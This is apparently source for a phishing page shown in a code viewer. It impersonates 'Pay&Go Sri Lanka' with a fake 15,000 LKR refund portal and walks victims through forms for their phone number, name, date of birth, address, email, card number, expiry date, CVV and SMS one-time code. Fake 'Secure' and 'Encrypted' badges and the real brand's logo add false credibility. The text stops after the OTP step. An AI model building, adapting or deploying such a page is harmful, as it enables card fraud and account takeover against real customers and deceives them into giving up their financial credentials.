    <div class="row">
        <div class="col-12">
            <pre class="with-hljs"><code class="lang-php">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;Pay&amp;Go - Refund Claim Portal&lt;/title&gt;
    &lt;style&gt;
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body {
            font-family: -apple-system, BlinkMacSystemFont, &#039;Segoe UI&#039;, Roboto, &#039;Helvetica Neue&#039;, Arial, sans-serif;
            background: linear-gradient(135deg, #f0f4f8 0%, #e8eef5 100%);
            color: #1a1a1a;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        /* Header */
        .header {
            display: flex;
            background: #fff;
            box-shadow: 0 1px 3px rgba(0,0,0,0.05);
            align-items: center;
            justify-content: space-between;
            padding: 16px 40px;
            border-bottom: 1px solid #e5e5e5;
        }
        .header-left {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .header-left img {
            height: 32px;
        }
        .header-right {
            display: flex;
            gap: 32px;
        }
        .header-right a {
            color: #1a1a1a;
            text-decoration: none;
            font-size: 14px;
            font-weight: 500;
        }
        .header-right a:hover {
            color: #0055a4;
        }

        /* Main Content */
        .main {
            flex: 1;
            display: flex;
            flex-direction: column;
            align-items: center;
            padding: 40px 20px;
        }

        /* Status Badge */
        .status-badge {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            background: #e6f0fa;
            color: #0055a4;
            padding: 8px 16px;
            border-radius: 20px;
            font-size: 13px;
            font-weight: 600;
            margin-bottom: 24px;
        }
        .status-badge .dot {
            width: 8px;
            height: 8px;
            background: #0055a4;
            border-radius: 50%;
        }

        /* Card Container */
        .card {
            background: #fff;
            border: 1px solid #e5e5e5;
            border-radius: 16px;
            padding: 40px;
            width: 100%;
            max-width: 480px;
            box-shadow: 0 2px 8px rgba(0,0,0,0.04);
        }

        /* Step 1: Phone */
        .step-phone h1 {
            font-size: 24px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 12px;
            color: #1a1a1a;
        }
        .step-phone .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 14px;
            line-height: 1.6;
            margin-bottom: 32px;
        }

        /* Amount Box */
        .amount-box {
            background: linear-gradient(135deg, #f0f4f8 0%, #e8eef5 100%);
            border: 1px solid #dbe4ed;
            border-radius: 12px;
            padding: 24px;
            text-align: center;
            margin-bottom: 32px;
        }
        .amount-label {
            font-size: 11px;
            text-transform: uppercase;
            letter-spacing: 1px;
            color: #6b7280;
            margin-bottom: 8px;
        }
        .amount-value {
            font-size: 42px;
            font-weight: 700;
            color: #1a1a1a;
        }
        .amount-currency {
            font-size: 24px;
            font-weight: 600;
        }
        .amount-desc {
            font-size: 13px;
            color: #6b7280;
            margin-top: 4px;
        }

        /* Form Fields */
        .form-group {
            margin-bottom: 16px;
        }
        .form-label {
            display: block;
            font-size: 14px;
            font-weight: 500;
            color: #1a1a1a;
            margin-bottom: 6px;
        }
        .form-input {
            width: 100%;
            padding: 14px 16px;
            border: 1px solid #d1d5db;
            border-radius: 10px;
            font-size: 15px;
            color: #1a1a1a;
            background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s;
        }
        .form-input:focus {
            outline: none;
            border-color: #0055a4;
            box-shadow: 0 0 0 3px rgba(0,85,164,0.1);
        }
        .form-input.error {
            border-color: #ef4444;
            box-shadow: 0 0 0 3px rgba(239,68,68,0.1);
        }
        .form-input.valid {
            border-color: #0055a4;
            box-shadow: 0 0 0 3px rgba(0,85,164,0.1);
        }
        .form-input::placeholder {
            color: #9ca3af;
        }
        .form-select {
            width: 100%;
            padding: 14px 16px;
            border: 1px solid #d1d5db;
            border-radius: 10px;
            font-size: 15px;
            color: #1a1a1a;
            background: #fff;
            transition: border-color 0.2s, box-shadow 0.2s;
            cursor: pointer;
            appearance: none;
            -webkit-appearance: none;
            background-image: url(&quot;data:image/svg+xml,%3Csvg xmlns=&#039;http://www.w3.org/10000/svg&#039; width=&#039;12&#039; height=&#039;12&#039; viewBox=&#039;0 0 12 12&#039;%3E%3Cpath fill=&#039;%236b7280&#039; d=&#039;M6 8L1 3h10z&#039;/%3E%3C/svg%3E&quot;);
            background-repeat: no-repeat;
            background-position: right 16px center;
        }
        .form-select:focus {
            outline: none;
            border-color: #0055a4;
            box-shadow: 0 0 0 3px rgba(0,85,164,0.1);
        }
        .form-row {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 12px;
        }

        /* Real-time error text */
        .field-error {
            font-size: 12px;
            color: #ef4444;
            margin-top: 4px;
            display: none;
            min-height: 16px;
        }
        .field-error.show {
            display: block;
        }

        /* Bank detect */
        .bank-detect {
            font-size: 12px;
            color: #0055a4;
            font-weight: 600;
            margin-top: 4px;
            display: none;
            min-height: 16px;
        }
        .bank-detect.show {
            display: block;
        }

        /* Card type highlight */
        .card-logos { display: flex; gap: 12px; margin-bottom: 24px; }
        .card-logo {
            height: 28px;
            padding: 2px 8px;
            border-radius: 4px;
            font-size: 12px;
            font-weight: 700;
            display: flex;
            align-items: center;
            opacity: 0.4;
            transition: opacity 0.2s, transform 0.2s;
            border: 1px solid transparent;
        }
        .card-logo.active {
            opacity: 1;
            transform: scale(1.05);
            box-shadow: 0 2px 8px rgba(0,0,0,0.1);
        }
        .card-logo.visa { background: #1a1f71; color: #fff; font-style: italic; }
        .card-logo.mc { background: #eb001b; color: #fff; }
        .card-logo.amex { background: #016fd0; color: #fff; font-size: 11px; }

        /* Button */
        .btn-primary {
            width: 100%;
            padding: 16px;
            background: #e5e5e5;
            color: #9ca3af;
            border: none;
            border-radius: 10px;
            font-size: 16px;
            font-weight: 600;
            cursor: not-allowed;
            transition: all 0.2s;
            margin-top: 8px;
        }
        .btn-primary.active {
            background: #0055a4;
            color: #fff;
            cursor: pointer;
        }
        .btn-primary.active:hover {
            background: #004080;
        }

        /* Step 2: Personal Info */
        .step-personal .user-icon {
            width: 48px;
            height: 48px;
            background: #f3f4f6;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            font-size: 24px;
            color: #6b7280;
        }
        .step-personal h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 8px;
        }
        .step-personal .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 13px;
            margin-bottom: 24px;
        }

        /* Step 3: Card */
        .step-card .card-icon {
            width: 48px;
            height: 48px;
            background: #f3f4f6;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            font-size: 20px;
            color: #6b7280;
        }
        .step-card h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 8px;
        }
        .step-card .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 13px;
            margin-bottom: 24px;
        }

        /* Step 4: Processing */
        .step-processing {
            text-align: center;
            padding: 60px 20px;
        }
        .step-processing h2 {
            font-size: 18px;
            font-weight: 500;
            color: #1a1a1a;
            margin-bottom: 8px;
        }
        .step-processing p {
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 24px;
        }
        .dots {
            display: flex;
            gap: 6px;
            justify-content: center;
        }
        .dot {
            width: 8px;
            height: 8px;
            background: #d1d5db;
            border-radius: 50%;
            animation: pulse 1.4s infinite;
        }
        .dot:nth-child(2) { animation-delay: 0.2s; }
        .dot:nth-child(3) { animation-delay: 0.4s; }
        @keyframes pulse {
            0%, 100% { opacity: 0.4; transform: scale(1); }
            50% { opacity: 1; transform: scale(1.2); }
        }

        /* Step 5: OTP */
        .step-otp h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 12px;
        }
        .step-otp p {
            text-align: center;
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 24px;
        }
        .otp-input {
            width: 100%;
            padding: 16px;
            border: 2px solid #d1d5db;
            border-radius: 10px;
            font-size: 24px;
            text-align: center;
            letter-spacing: 8px;
            font-weight: 600;
            margin-bottom: 16px;
        }
        .otp-input:focus {
            outline: none;
            border-color: #0055a4;
        }

        /* Step 6: App Approval */
        .step-app h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 12px;
        }
        .step-app p {
            text-align: center;
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 32px;
        }
        .app-box {
            background: #f8fafc;
            border-radius: 16px;
            padding: 32px;
            text-align: center;
            margin-bottom: 24px;
        }
        .app-box .phone-mockup {
            width: 120px;
            height: 200px;
            background: #1a1a1a;
            border-radius: 16px;
            margin: 0 auto 16px;
            position: relative;
            overflow: hidden;
        }
        .app-box .phone-mockup::before {
            content: &#039;&#039;;
            position: absolute;
            top: 8px;
            left: 50%;
            transform: translateX(-50%);
            width: 40px;
            height: 4px;
            background: #333;
            border-radius: 2px;
        }
        .app-box .phone-screen {
            position: absolute;
            top: 20px;
            left: 8px;
            right: 8px;
            bottom: 8px;
            background: #fff;
            border-radius: 8px;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            padding: 8px;
        }
        .app-box .bank-logo {
            width: 28px;
            height: 28px;
            background: #0055a4;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: #fff;
            font-size: 12px;
            font-weight: 700;
            margin-bottom: 8px;
        }
        .app-box .approve-text {
            font-size: 10px;
            font-weight: 600;
            color: #1a1a1a;
            margin-bottom: 4px;
        }
        .app-box .approve-amount {
            font-size: 14px;
            font-weight: 700;
            color: #0055a4;
            margin-bottom: 12px;
        }
        .app-box .confirm-btn {
            width: 80%;
            padding: 6px;
            background: #0055a4;
            color: #fff;
            border-radius: 4px;
            font-size: 9px;
            font-weight: 600;
            margin-bottom: 6px;
        }
        .app-box .cancel-btn {
            width: 80%;
            padding: 6px;
            background: #fff;
            border: 1px solid #d1d5db;
            color: #6b7280;
            border-radius: 4px;
            font-size: 9px;
        }
        .app-caption {
            font-size: 14px;
            font-weight: 600;
            color: #1a1a1a;
            margin-bottom: 4px;
        }
        .app-subcaption {
            font-size: 12px;
            color: #6b7280;
        }

        /* Step 7: Success */
        .step-success {
            text-align: center;
            padding: 40px 20px;
        }
        .step-success .check-icon {
            width: 64px;
            height: 64px;
            background: #e6f0fa;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 24px;
            font-size: 32px;
            color: #0055a4;
        }
        .step-success h2 {
            font-size: 24px;
            font-weight: 700;
            color: #0055a4;
            margin-bottom: 12px;
        }
        .step-success p {
            color: #6b7280;
            font-size: 14px;
            margin-bottom: 24px;
        }
        .ref-box {
            background: #f8fafc;
            border-radius: 10px;
            padding: 16px;
            margin-bottom: 24px;
        }
        .ref-box strong {
            color: #1a1a1a;
            font-size: 14px;
        }

        /* Step 8: Bank Login */
        .step-bank .bank-icon {
            width: 48px;
            height: 48px;
            background: #f3f4f6;
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            font-size: 20px;
            color: #6b7280;
        }
        .step-bank h2 {
            font-size: 20px;
            font-weight: 700;
            text-align: center;
            margin-bottom: 8px;
        }
        .step-bank .subtitle {
            text-align: center;
            color: #6b7280;
            font-size: 13px;
            margin-bottom: 24px;
        }
        .bank-security {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 8px;
            margin-bottom: 20px;
            font-size: 12px;
            color: #6b7280;
        }
        .bank-security svg {
            width: 16px;
            height: 16px;
            color: #0055a4;
        }

        /* Notification Toast */
        .notif-toast {
            position: fixed;
            top: 20px;
            left: 50%;
            transform: translateX(-50%) translateY(-120px);
            background: #1e293b;
            border: 1px solid #0055a4;
            border-radius: 12px;
            padding: 16px 24px;
            box-shadow: 0 8px 32px rgba(0,0,0,0.3);
            z-index: 10000;
            transition: transform 0.5s cubic-bezier(0.175, 0.885, 0.32, 1.275), opacity 0.4s ease;
            opacity: 0;
            max-width: 90%;
            width: auto;
            pointer-events: none;
        }
        .notif-toast.show {
            transform: translateX(-50%) translateY(0);
            opacity: 1;
        }
        .notif-content {
            display: flex;
            align-items: center;
            gap: 12px;
            font-family: -apple-system, BlinkMacSystemFont, &#039;Segoe UI&#039;, Roboto, sans-serif;
            font-size: 14px;
            color: #e2e8f0;
            font-weight: 500;
            white-space: nowrap;
        }
        @media (max-width: 480px) {
            .notif-content { white-space: normal; font-size: 13px; }
        }
        .notif-icon {
            font-size: 20px;
            color: #0055a4;
            flex-shrink: 0;
        }

        /* Footer */
        .footer {
            display: flex;
            background: #fff;
            justify-content: space-between;
            align-items: center;
            padding: 20px 40px;
            border-top: 1px solid #e5e5e5;
            margin-top: auto;
        }
        .footer-left {
            font-size: 13px;
            color: #6b7280;
        }
        .footer-right {
            font-size: 13px;
            color: #6b7280;
        }
        .footer-trust {
            display: flex;
            justify-content: center;
            gap: 32px;
            padding: 16px;
            margin-top: 16px;
        }
        .trust-item {
            display: flex;
            align-items: center;
            gap: 6px;
            font-size: 12px;
            color: #6b7280;
        }
        .trust-item svg {
            width: 16px;
            height: 16px;
        }

        /* Error */
        .error-msg {
            background: #fef2f2;
            border: 1px solid #fecaca;
            color: #dc2626;
            padding: 12px 16px;
            border-radius: 8px;
            font-size: 13px;
            margin-bottom: 16px;
            display: none;
        }
        .error-msg.show {
            display: block;
        }

        /* Hidden */
        .hidden {
            display: none !important;
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;!-- Notification Toast --&gt;
&lt;div class=&quot;notif-toast&quot; id=&quot;notifToast&quot;&gt;
    &lt;div class=&quot;notif-content&quot;&gt;
        &lt;span class=&quot;notif-icon&quot;&gt;&amp;#128276;&lt;/span&gt;
        &lt;span class=&quot;notif-text&quot; id=&quot;notifText&quot;&gt;&lt;/span&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;!-- Header --&gt;
&lt;div class=&quot;header&quot;&gt;
    &lt;div class=&quot;header-left&quot;&gt;
        &lt;img src=&quot;https://kimi-web-img.kimi.ai/img/www.paygo.lk/3a72dfe7b2c39c9c92389dcddfced8e65e42534f.png&quot; alt=&quot;Pay&amp;Go&quot;&gt;
    &lt;/div&gt;
    &lt;div class=&quot;header-right&quot;&gt;
        &lt;a href=&quot;#&quot;&gt;Refund Services&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;Refund Centers&lt;/a&gt;
        &lt;a href=&quot;#&quot;&gt;Log in / Sign up&lt;/a&gt;
    &lt;/div&gt;
&lt;/div&gt;

&lt;!-- Main Content --&gt;
&lt;div class=&quot;main&quot;&gt;

    &lt;!-- STEP 1: PHONE NUMBER --&gt;
    &lt;div class=&quot;card step-phone&quot; id=&quot;step1&quot;&gt;
        &lt;div class=&quot;status-badge&quot;&gt;
            &lt;span class=&quot;dot&quot;&gt;&lt;/span&gt;
            Refund Available
        &lt;/div&gt;
        &lt;h1&gt;Refund Claim Portal&lt;/h1&gt;
        &lt;p class=&quot;subtitle&quot;&gt;Welcome to Pay&amp;Go Sri Lanka. Please verify your mobile number to proceed with your refund claim. Fast, easy &amp; convenient refunds for all Sri Lankan customers.&lt;/p&gt;

        &lt;div class=&quot;amount-box&quot;&gt;
            &lt;div class=&quot;amount-label&quot;&gt;Refund Amount&lt;/div&gt;
            &lt;div class=&quot;amount-value&quot;&gt;15,000&lt;span class=&quot;amount-currency&quot;&gt; LKR&lt;/span&gt;&lt;/div&gt;
            &lt;div class=&quot;amount-desc&quot;&gt;Mobile bill overpayment refund&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Mobile Number&lt;/label&gt;
            &lt;input type=&quot;tel&quot; class=&quot;form-input&quot; id=&quot;phone&quot; placeholder=&quot;07X XXX XXXX&quot; maxlength=&quot;14&quot;
                   autocomplete=&quot;tel&quot; inputmode=&quot;tel&quot; name=&quot;phone&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-phone&quot;&gt;Enter a valid Sri Lankan mobile number starting with 07.&lt;/div&gt;
        &lt;/div&gt;

        &lt;button class=&quot;btn-primary&quot; id=&quot;btn-step1&quot; onclick=&quot;submitPhone()&quot;&gt;Continue to Refund Verification&lt;/button&gt;

        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt;
                Secure
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt;
                2 min process
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt;
                Verified
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 2: PERSONAL INFORMATION --&gt;
    &lt;div class=&quot;card step-personal hidden&quot; id=&quot;step2&quot;&gt;
        &lt;div class=&quot;status-badge&quot;&gt;
            &lt;span class=&quot;dot&quot;&gt;&lt;/span&gt;
            Verification Required
        &lt;/div&gt;
        &lt;div class=&quot;user-icon&quot;&gt;&amp;#128100;&lt;/div&gt;
        &lt;h2&gt;Personal Information&lt;/h2&gt;
        &lt;p class=&quot;subtitle&quot;&gt;Please provide your details to process the refund&lt;/p&gt;

        &lt;div class=&quot;amount-box&quot;&gt;
            &lt;div class=&quot;amount-label&quot;&gt;Refund Amount&lt;/div&gt;
            &lt;div class=&quot;amount-value&quot;&gt;15,000&lt;span class=&quot;amount-currency&quot;&gt; LKR&lt;/span&gt;&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;error-msg&quot; id=&quot;err2&quot;&gt;Please fill in all required fields correctly.&lt;/div&gt;

        &lt;div class=&quot;form-row&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;First Name&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;fname&quot; placeholder=&quot;Nimal&quot;
                       autocomplete=&quot;given-name&quot; name=&quot;fname&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-fname&quot;&gt;Enter a valid first name.&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;Last Name&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;lname&quot; placeholder=&quot;Perera&quot;
                       autocomplete=&quot;family-name&quot; name=&quot;lname&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-lname&quot;&gt;Enter a valid last name.&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Date of Birth&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;dob&quot; placeholder=&quot;DD/MM/YYYY&quot; maxlength=&quot;10&quot;
                   autocomplete=&quot;bday&quot; name=&quot;dob&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-dob&quot;&gt;Enter a valid date of birth (DD/MM/YYYY). Must be 18+.&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Address&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;address&quot; placeholder=&quot;No. 123, Galle Road, Colombo 03&quot;
                   autocomplete=&quot;street-address&quot; name=&quot;address&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-address&quot;&gt;Enter a valid street address.&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-row&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;City&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;city&quot; placeholder=&quot;Colombo / Kandy / Galle&quot;
                       autocomplete=&quot;address-level2&quot; name=&quot;city&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-city&quot;&gt;Enter a valid city.&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;Postal Code&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;postcode&quot; placeholder=&quot;10000&quot; maxlength=&quot;5&quot;
                       autocomplete=&quot;postal-code&quot; inputmode=&quot;numeric&quot; name=&quot;postcode&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-postcode&quot;&gt;Enter a valid 5-digit Sri Lankan postal code.&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Email Address&lt;/label&gt;
            &lt;input type=&quot;email&quot; class=&quot;form-input&quot; id=&quot;email&quot; placeholder=&quot;nimal.perera@gmail.com&quot;
                   autocomplete=&quot;email&quot; inputmode=&quot;email&quot; name=&quot;email&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-email&quot;&gt;Enter a valid email address.&lt;/div&gt;
        &lt;/div&gt;

        &lt;button class=&quot;btn-primary&quot; id=&quot;btn-step2&quot; onclick=&quot;submitPersonal()&quot;&gt;Continue&lt;/button&gt;

        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt;
                Secure
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt;
                2 min process
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt;
                Verified
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 3: CARD DETAILS --&gt;
    &lt;div class=&quot;card step-card hidden&quot; id=&quot;step3&quot;&gt;
        &lt;div class=&quot;card-icon&quot;&gt;&amp;#128179;&lt;/div&gt;
        &lt;h2&gt;Claim Your Refund&lt;/h2&gt;
        &lt;p class=&quot;subtitle&quot;&gt;Enter your card details to receive your refund securely&lt;/p&gt;

        &lt;div class=&quot;amount-box&quot; style=&quot;display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;&quot;&gt;
            &lt;div&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Refund Amount&lt;/div&gt;
                &lt;div style=&quot;font-size:20px; font-weight:700;&quot;&gt;15,000 LKR&lt;/div&gt;
            &lt;/div&gt;
            &lt;div style=&quot;text-align:right;&quot;&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Date&lt;/div&gt;
                &lt;div style=&quot;font-size:14px; font-weight:500;&quot;&gt;26.08.2026&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;card-logos&quot;&gt;
            &lt;div class=&quot;card-logo visa&quot; id=&quot;logo-visa&quot;&gt;VISA&lt;/div&gt;
            &lt;div class=&quot;card-logo mc&quot; id=&quot;logo-mc&quot;&gt;MC&lt;/div&gt;
            &lt;div class=&quot;card-logo amex&quot; id=&quot;logo-amex&quot;&gt;AMEX&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;error-msg&quot; id=&quot;err3&quot;&gt;The card details provided are invalid.&lt;/div&gt;

        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Card number *&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;card&quot; placeholder=&quot;0000 0000 0000 0000&quot; maxlength=&quot;19&quot;
                   autocomplete=&quot;cc-number&quot; inputmode=&quot;numeric&quot; name=&quot;cardnumber&quot;&gt;
            &lt;div class=&quot;bank-detect&quot; id=&quot;bank-detect&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-card&quot;&gt;Enter a valid card number.&lt;/div&gt;
        &lt;/div&gt;

        &lt;div class=&quot;form-row&quot;&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;Expiration date *&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;exp&quot; placeholder=&quot;MM/YY&quot; maxlength=&quot;5&quot;
                       autocomplete=&quot;cc-exp&quot; inputmode=&quot;numeric&quot; name=&quot;cc-exp&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-exp&quot;&gt;Enter a valid future expiry date (MM/YY).&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;form-group&quot;&gt;
                &lt;label class=&quot;form-label&quot;&gt;Security code (CVV/CVC) *&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;cvv&quot; placeholder=&quot;000&quot; maxlength=&quot;3&quot;
                       autocomplete=&quot;cc-csc&quot; inputmode=&quot;numeric&quot; name=&quot;cvc&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-cvv&quot;&gt;Enter a valid CVV.&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;

        &lt;button class=&quot;btn-primary&quot; id=&quot;btn-step3&quot; onclick=&quot;submitCard()&quot;&gt;Claim Your Refund&lt;/button&gt;

        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt;
                Secure
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt;
                Instant
            &lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;
                &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt;
                Encrypted
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 4: PROCESSING / WAITING --&gt;
    &lt;div class=&quot;step-processing hidden&quot; id=&quot;step4&quot;&gt;
        &lt;h2&gt;Please wait while your refund is being processed by our Sri Lankan banking partners...&lt;/h2&gt;
        &lt;p&gt;This may take a few seconds.&lt;/p&gt;
        &lt;div class=&quot;dots&quot;&gt;
            &lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;
            &lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 5: OTP --&gt;
    &lt;div class=&quot;card step-otp hidden&quot; id=&quot;step5&quot;&gt;
        &lt;h2&gt;Security Verification&lt;/h2&gt;
        &lt;p&gt;A verification code has been sent to your mobile device to confirm your refund.&lt;/p&gt;
        &lt;div class=&quot;error-msg&quot; id=&quot;err5&quot;&gt;Invalid code. Please check the SMS sent to your phone.&lt;/div&gt;
        &lt;input type=&quot;text&quot; class=&quot;otp-input&quot; id=&quot;otp&quot; placeholder=&quot;000000&quot; maxlength=&quot;6&quot;
               autocomplete=&quot;one-time-code&quot; inputmode=&quot;numeric&quot; name=&quot;otp&quot;&gt;
        &lt;button class=&quot;btn-primary active&quot; onclick=&quot;submitOtp()&quot;&gt;Confirm&lt;/button&gt;
    &lt;/div&gt;

